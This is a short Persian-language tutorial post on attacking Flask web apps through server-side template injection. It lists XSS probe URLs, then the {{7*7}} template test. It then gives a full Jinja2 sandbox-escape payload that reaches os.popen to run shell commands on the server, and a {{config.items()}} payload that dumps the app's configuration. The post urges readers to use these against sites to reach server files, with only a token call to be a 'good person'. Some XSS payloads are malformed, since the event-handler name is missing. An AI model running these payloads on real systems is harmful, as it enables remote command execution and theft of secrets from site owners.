سلام دوستان امیدوارم حالتون خوش .
امروز اومدم با یه باگ از یه میکروفریمورک پایتون که خیلی هم خطرناک و ترسناکه.
این باگ اسمش ssti هستش و کارش اینه که وقتی برنامه نویس هیچ محدودیتی برای سرچ خود نزاشته شما باید بیاین و از اون استفاده کنین و به فایل های سرور دسترسی پیدا کنین.
خب برای شروع کار باید اول دو payload ساده رو چک کنیم:
http://site.com/search=<img src=x ="alert('xss')">
http://site.com/?search=<img src=x ="alert('xss')">
http://site.com/search=<img src=x =alert(1) />
http://site.com/?search=<img src=x =alert(1) />
در صورت دارا بودن باگ xss میایم تست بعدی رو انجام میدیم.
اما چرا باید اول بفهمیم xss داره یا ن؟
خب باید ببینیم که ورودی های get رو فیلتر کردن یا نه اگه نبود payload های بعدیمونو ارسال کنیم.
اگه این مرحله رو رد کردین یه کار باحال دیگه باید انجام بدین و اونم اجرا دستورات flask بر روی سرور:
http://site.com/search={{7*7}}
http://site.com/?search={{7*7}}
اگه برامون 49 رو چاپ کرد میریم سر یه کار مخربانه و اونم اضافه کردن payload زیر هستش:
http://site.com/search={{"".__class__.__mro__[1].__subclasses__()[186].__init__.__globals__["__builtins__"]["__import__"]("os").popen("ls *").read()}}
اما این paylaod بالا برای چیه؟
دوستان این تیکه کد میتونه بما اجازه اجرا دستورات سیستمی رو بده اما شما برای دسترسی به کانفیگ سیستم فقط فقط کافیه این عبارت رو تایپ کنید:
http://site.com/search={{config.items()}}
دوستان شاد و خرم باشید و از این باگ به عنوان یه انسان خوب استفاده کنین نه یه ......
به امید روز های خوش و اینترنت آزاد .